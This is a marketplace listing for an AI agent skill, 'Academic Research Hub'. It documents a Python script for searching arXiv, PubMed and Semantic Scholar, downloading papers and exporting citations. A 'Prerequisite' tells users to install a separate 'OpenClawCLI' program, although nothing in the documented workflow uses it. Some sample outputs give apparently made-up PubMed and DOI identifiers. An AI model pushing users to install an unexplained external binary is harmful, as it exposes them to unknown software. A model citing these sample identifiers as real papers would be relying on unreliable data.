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πŸ¦€ ClawHub

Academic Research Hub

by @anisafifi

Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to "find papers on", "search research about", "download academic articles", "get citations for", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai.

Versionv0.1.0
Downloads7,749
Installs59
Stars⭐ 11
TERMINAL
clawhub install academic-research-hub

πŸ“– About This Skill


name: academic-research-hub description: "Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to \"find papers on\", \"search research about\", \"download academic articles\", \"get citations for\", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai." license: Proprietary

Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation Best Practices:

# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests

If you encounter permission errors, use a virtual environment

python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install arxiv scholarly pubmed-parser semanticscholar requests

Never use --break-system-packages as it can damage your system's Python installation.


Quick Reference

| Task | Command | |------|---------| | Search arXiv | python scripts/research.py arxiv "quantum computing" | | Search PubMed | python scripts/research.py pubmed "covid vaccine" | | Search Semantic Scholar | python scripts/research.py semantic "machine learning" | | Download papers | python scripts/research.py arxiv "topic" --download | | Get citations | python scripts/research.py arxiv "topic" --citations | | Generate bibliography | python scripts/research.py arxiv "topic" --format bibtex | | Save results | python scripts/research.py arxiv "topic" --output results.json |


Core Features

1. Multi-Source Search

Search across multiple academic databases from a single interface.

Supported Sources:

  • arXiv - Physics, mathematics, computer science, quantitative biology, quantitative finance, statistics
  • PubMed - Biomedical and life sciences literature
  • Semantic Scholar - Computer science and interdisciplinary research
  • Google Scholar - Broad academic search (limited, no API)
  • 2. Paper Download

    Download full-text PDFs when available.

    python scripts/research.py arxiv "deep learning" --download --output-dir papers/
    

    3. Citation Extraction

    Extract and format citations from papers.

    Supported formats:

  • BibTeX
  • RIS
  • JSON
  • Plain text
  • 4. Metadata Retrieval

    Get comprehensive metadata for each paper:

  • Title, authors, abstract
  • Publication date
  • Journal/conference
  • DOI, arXiv ID, PubMed ID
  • Citation count
  • References

  • Source-Specific Commands

    arXiv Search

    Search the arXiv repository for preprints.

    # Basic search
    python scripts/research.py arxiv "quantum computing"

    Filter by category

    python scripts/research.py arxiv "neural networks" --category cs.LG

    Filter by date

    python scripts/research.py arxiv "transformers" --year 2023

    Download papers

    python scripts/research.py arxiv "attention mechanism" --download --max-results 10

    Available categories:

  • cs.AI - Artificial Intelligence
  • cs.LG - Machine Learning
  • cs.CV - Computer Vision
  • cs.CL - Computation and Language
  • math.CO - Combinatorics
  • physics.optics - Optics
  • q-bio.GN - Genomics
  • Full list
  • Output:

    1. Attention Is All You Need
       Authors: Vaswani et al.
       Published: 2017-06-12
       arXiv ID: 1706.03762
       Categories: cs.CL, cs.LG
       Abstract: The dominant sequence transduction models...
       PDF: http://arxiv.org/pdf/1706.03762v5
    

    PubMed Search

    Search biomedical literature indexed in PubMed.

    # Basic search
    python scripts/research.py pubmed "cancer immunotherapy"

    Filter by date range

    python scripts/research.py pubmed "CRISPR" --start-date 2023-01-01 --end-date 2023-12-31

    Filter by publication type

    python scripts/research.py pubmed "covid vaccine" --publication-type "Clinical Trial"

    Get full text links

    python scripts/research.py pubmed "gene therapy" --full-text

    Publication types:

  • Clinical Trial
  • Meta-Analysis
  • Review
  • Systematic Review
  • Randomized Controlled Trial
  • Output:

    1. mRNA vaccine effectiveness against COVID-19
       Authors: Smith J, Jones K, et al.
       Journal: New England Journal of Medicine
       Published: 2023-03-15
       PMID: 36913851
       DOI: 10.1056/NEJMoa2301234
       Abstract: Background: mRNA vaccines have shown...
       Full Text: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9876543/
    

    Semantic Scholar Search

    Search computer science and interdisciplinary research.

    # Basic search
    python scripts/research.py semantic "reinforcement learning"

    Filter by year

    python scripts/research.py semantic "graph neural networks" --year 2022

    Get highly cited papers

    python scripts/research.py semantic "transformers" --min-citations 100

    Include references

    python scripts/research.py semantic "BERT" --include-references

    Output includes:

  • Citation count
  • Influential citation count
  • Reference list
  • Citing papers
  • Fields of study
  • Output:

    1. BERT: Pre-training of Deep Bidirectional Transformers
       Authors: Devlin J, Chang MW, Lee K, Toutanova K
       Published: 2019
       Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992
       Citations: 15000+
       Influential Citations: 2000+
       Fields: Computer Science, Linguistics
       Abstract: We introduce a new language representation model...
       PDF: https://arxiv.org/pdf/1810.04805.pdf
    


    Essential Options

    Result Limits

    Control the number of results returned.

    --max-results N    # Default: 10, range: 1-100
    

    Examples:

    python scripts/research.py arxiv "machine learning" --max-results 5
    python scripts/research.py pubmed "diabetes" --max-results 50
    

    Output Formats

    Choose how results are formatted.

    --format 
    

    Text - Human-readable format (default)

    python scripts/research.py arxiv "quantum" --format text
    

    JSON - Structured data for processing

    python scripts/research.py arxiv "quantum" --format json
    

    BibTeX - For LaTeX documents

    python scripts/research.py arxiv "quantum" --format bibtex
    

    RIS - For reference managers (Zotero, Mendeley)

    python scripts/research.py arxiv "quantum" --format ris
    

    Markdown - For documentation

    python scripts/research.py arxiv "quantum" --format markdown
    

    Save to File

    Save results to a file.

    --output 
    

    Examples:

    python scripts/research.py arxiv "AI" --output results.txt
    python scripts/research.py pubmed "cancer" --format json --output papers.json
    python scripts/research.py semantic "NLP" --format bibtex --output references.bib
    

    Download Papers

    Download full-text PDFs when available.

    --download
    --output-dir     # Where to save PDFs (default: downloads/)
    

    Examples:

    # Download to default directory
    python scripts/research.py arxiv "deep learning" --download --max-results 5

    Download to specific directory

    python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/


    Advanced Features

    Citation Extraction

    Extract citations from papers.

    --citations              # Extract citations
    --citation-format     # bibtex, ris, json (default: bibtex)
    

    Example:

    python scripts/research.py arxiv "attention mechanism" --citations --citation-format bibtex --output citations.bib
    

    Date Filtering

    Filter by publication date.

    arXiv:

    --year            # Specific year
    --start-date 
    --end-date 
    

    PubMed:

    --start-date 
    --end-date 
    

    Examples:

    python scripts/research.py arxiv "quantum" --year 2023
    python scripts/research.py pubmed "vaccine" --start-date 2022-01-01 --end-date 2023-12-31
    

    Author Search

    Search for papers by specific authors.

    --author "Last, First"
    

    Examples:

    python scripts/research.py arxiv "neural networks" --author "Hinton, Geoffrey"
    python scripts/research.py semantic "deep learning" --author "Bengio, Yoshua"
    

    Sort Options

    Sort results by different criteria.

    --sort-by 
    

    Examples:

    python scripts/research.py arxiv "machine learning" --sort-by date
    python scripts/research.py semantic "NLP" --sort-by citations
    


    Common Workflows

    Literature Review

    Gather papers on a topic for a literature review.

    # Step 1: Search multiple sources
    python scripts/research.py arxiv "graph neural networks" --max-results 20 --format json --output arxiv_gnn.json
    python scripts/research.py semantic "graph neural networks" --max-results 20 --format json --output semantic_gnn.json

    Step 2: Download key papers

    python scripts/research.py arxiv "graph neural networks" --download --max-results 10 --output-dir papers/gnn/

    Step 3: Generate bibliography

    python scripts/research.py arxiv "graph neural networks" --max-results 20 --format bibtex --output gnn_references.bib

    Finding Recent Research

    Track the latest papers in a field.

    # Last year's papers
    python scripts/research.py arxiv "large language models" --year 2023 --sort-by date --max-results 30

    Last month's biomedical papers

    python scripts/research.py pubmed "gene therapy" --start-date 2023-11-01 --end-date 2023-11-30 --format markdown --output recent_gene_therapy.md

    Highly Cited Papers

    Find influential papers in a field.

    python scripts/research.py semantic "reinforcement learning" --min-citations 500 --sort-by citations --max-results 25
    

    Author Publication History

    Track an author's work.

    python scripts/research.py arxiv "deep learning" --author "LeCun, Yann" --sort-by date --max-results 50 --output lecun_papers.json
    

    Building a Reference Library

    Create a comprehensive reference collection.

    # Create directory structure
    mkdir -p references/{papers,citations}

    Search and download papers

    python scripts/research.py arxiv "transformers NLP" --download --max-results 15 --output-dir references/papers/

    Generate citations

    python scripts/research.py arxiv "transformers NLP" --max-results 15 --format bibtex --output references/citations/transformers.bib

    Cross-Source Validation

    Verify findings across multiple databases.

    # Search same topic across sources
    python scripts/research.py arxiv "federated learning" --max-results 10 --output arxiv_fl.txt
    python scripts/research.py semantic "federated learning" --max-results 10 --output semantic_fl.txt
    python scripts/research.py pubmed "federated learning" --max-results 10 --output pubmed_fl.txt

    Compare results

    diff arxiv_fl.txt semantic_fl.txt


    Output Format Examples

    Text Format (Default)

    Search Results: 3 papers found

    1. Attention Is All You Need Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al. Published: 2017-06-12 arXiv ID: 1706.03762 Categories: cs.CL, cs.LG Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks... PDF: http://arxiv.org/pdf/1706.03762v5

    2. BERT: Pre-training of Deep Bidirectional Transformers Authors: Devlin, Jacob; Chang, Ming-Wei; Lee, Kenton; Toutanova, Kristina Published: 2018-10-11 arXiv ID: 1810.04805 Categories: cs.CL Abstract: We introduce a new language representation model called BERT... PDF: http://arxiv.org/pdf/1810.04805v2

    JSON Format

    [
      {
        "title": "Attention Is All You Need",
        "authors": ["Vaswani, Ashish", "Shazeer, Noam", "Parmar, Niki"],
        "published": "2017-06-12",
        "arxiv_id": "1706.03762",
        "categories": ["cs.CL", "cs.LG"],
        "abstract": "The dominant sequence transduction models...",
        "pdf_url": "http://arxiv.org/pdf/1706.03762v5",
        "doi": "10.48550/arXiv.1706.03762"
      }
    ]
    

    BibTeX Format

    @article{vaswani2017attention,
      title={Attention Is All You Need},
      author={Vaswani, Ashish and Shazeer, Noam and Parmar, Niki and Uszkoreit, Jakob and Jones, Llion and Gomez, Aidan N and Kaiser, {\L}ukasz and Polosukhin, Illia},
      journal={arXiv preprint arXiv:1706.03762},
      year={2017},
      url={http://arxiv.org/abs/1706.03762}
    }
    

    RIS Format

    TY  - JOUR
    TI  - Attention Is All You Need
    AU  - Vaswani, Ashish
    AU  - Shazeer, Noam
    AU  - Parmar, Niki
    PY  - 2017
    DA  - 2017/06/12
    JO  - arXiv preprint
    VL  - arXiv:1706.03762
    UR  - http://arxiv.org/abs/1706.03762
    ER  -
    

    Markdown Format

    # Search Results: 3 papers found

    1. Attention Is All You Need

    Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.

    Published: 2017-06-12

    arXiv ID: 1706.03762

    Categories: cs.CL, cs.LG

    Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...

    PDF: Download


    Best Practices

    Search Strategy

    1. Start broad - Use general terms to get an overview 2. Refine iteratively - Add filters based on initial results 3. Use multiple sources - Cross-reference findings 4. Check recent papers - Use date filters for current research

    Result Management

    1. Save searches - Use --output to preserve results 2. Organize downloads - Create logical directory structures 3. Export citations early - Generate BibTeX as you search 4. Track sources - Note which database returned which papers

    Download Guidelines

    1. Respect rate limits - Don't download hundreds of papers at once 2. Check licensing - Verify you have rights to use papers 3. Organize by topic - Use clear directory names 4. Keep metadata - Save JSON alongside PDFs

    Citation Practices

    1. Verify citations - Check DOIs and URLs 2. Use standard formats - BibTeX for LaTeX, RIS for reference managers 3. Include abstracts - Helpful for later review 4. Update regularly - Re-run searches for new papers


    Troubleshooting

    Installation Issues

    "Missing required dependency"

    # Install all dependencies
    pip install arxiv scholarly pubmed-parser semanticscholar requests

    Or use virtual environment

    python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install arxiv scholarly pubmed-parser semanticscholar requests

    "OpenClawCLI not found"

  • Download from https://clawhub.ai/
  • Install for your OS (Windows/MacOS)
  • Search Issues

    "No results found"

  • Try broader search terms
  • Check spelling and terminology
  • Remove restrictive filters
  • Try a different database
  • "Rate limit exceeded"

  • Wait a few minutes before retrying
  • Reduce --max-results value
  • Space out requests
  • "Download failed"

  • Check internet connection
  • Some papers may not have PDFs available
  • Verify you have permissions to access
  • Try downloading individually
  • API Issues

    "API timeout"

  • The service may be temporarily unavailable
  • Retry after a moment
  • Check status at respective service websites
  • "Invalid API response"

  • Check if the service is down
  • Verify your query syntax
  • Try simpler queries

  • Limitations

    Access Restrictions

  • Not all papers have downloadable PDFs
  • Some content requires institutional access
  • Paywalled journals may only show abstracts
  • Google Scholar has strict rate limits
  • Data Completeness

  • Citation counts may be outdated
  • Not all metadata fields available for every paper
  • Some older papers may have incomplete records
  • Preprints may not have final publication info
  • Search Capabilities

  • Boolean operators vary by source
  • No unified query syntax across databases
  • Some databases don't support all filters
  • Results may differ from web interface searches
  • Legal Considerations

  • Respect copyright and licensing
  • Don't redistribute downloaded papers
  • Follow institutional access policies
  • Check terms of service for each database

  • Command Reference

    python scripts/research.py  "" [OPTIONS]

    SOURCES: arxiv Search arXiv repository pubmed Search PubMed database semantic Search Semantic Scholar

    REQUIRED: query Search query string (in quotes)

    GENERAL OPTIONS: -n, --max-results Maximum results (default: 10, max: 100) -f, --format Output format (text|json|bibtex|ris|markdown) -o, --output Save to file path --sort-by Sort by (relevance|date|citations)

    FILTERING: --year Filter by specific year (YYYY) --start-date Start date (YYYY-MM-DD) --end-date End date (YYYY-MM-DD) --author Author name --min-citations Minimum citation count

    ARXIV-SPECIFIC: --category arXiv category (e.g., cs.AI, cs.LG)

    PUBMED-SPECIFIC: --publication-type Publication type filter --full-text Include full text links

    SEMANTIC-SPECIFIC: --include-references Include paper references

    DOWNLOAD: --download Download paper PDFs --output-dir Download directory (default: downloads/)

    CITATIONS: --citations Extract citations --citation-format Citation format (bibtex|ris|json)

    HELP: --help Show all options


    Examples by Use Case

    Quick Search

    # Find recent papers
    python scripts/research.py arxiv "quantum computing"

    Search biomedical literature

    python scripts/research.py pubmed "alzheimer disease"

    Comprehensive Research

    # Search multiple sources
    python scripts/research.py arxiv "neural networks" --max-results 30 --output arxiv.json
    python scripts/research.py semantic "neural networks" --max-results 30 --output semantic.json

    Download important papers

    python scripts/research.py arxiv "neural networks" --download --max-results 10

    Citation Management

    # Generate BibTeX
    python scripts/research.py arxiv "deep learning" --format bibtex --output dl_refs.bib

    Export to reference manager

    python scripts/research.py pubmed "gene editing" --format ris --output genes.ris

    Tracking New Research

    # This month's papers
    python scripts/research.py arxiv "LLM" --start-date 2024-01-01 --sort-by date

    Recent highly-cited work

    python scripts/research.py semantic "transformers" --year 2023 --min-citations 50


    Support

    For issues or questions: 1. Check this documentation 2. Run python scripts/research.py --help 3. Verify dependencies are installed 4. Check database-specific documentation

    Resources:

  • OpenClawCLI: https://clawhub.ai/
  • arXiv API: https://arxiv.org/help/api
  • PubMed API: https://www.ncbi.nlm.nih.gov/books/NBK25501/
  • Semantic Scholar API: https://api.semanticscholar.org/
  • πŸ“‹ Tips & Best Practices

    Search Strategy

    1. Start broad - Use general terms to get an overview 2. Refine iteratively - Add filters based on initial results 3. Use multiple sources - Cross-reference findings 4. Check recent papers - Use date filters for current research

    Result Management

    1. Save searches - Use --output to preserve results 2. Organize downloads - Create logical directory structures 3. Export citations early - Generate BibTeX as you search 4. Track sources - Note which database returned which papers

    Download Guidelines

    1. Respect rate limits - Don't download hundreds of papers at once 2. Check licensing - Verify you have rights to use papers 3. Organize by topic - Use clear directory names 4. Keep metadata - Save JSON alongside PDFs

    Citation Practices

    1. Verify citations - Check DOIs and URLs 2. Use standard formats - BibTeX for LaTeX, RIS for reference managers 3. Include abstracts - Helpful for later review 4. Update regularly - Re-run searches for new papers